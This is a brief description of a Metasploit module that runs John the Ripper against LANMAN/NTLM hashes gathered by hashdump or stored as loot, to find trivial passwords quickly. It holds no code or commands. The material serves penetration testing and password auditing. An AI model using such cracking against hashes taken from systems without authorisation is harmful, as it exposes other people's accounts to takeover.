The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules.
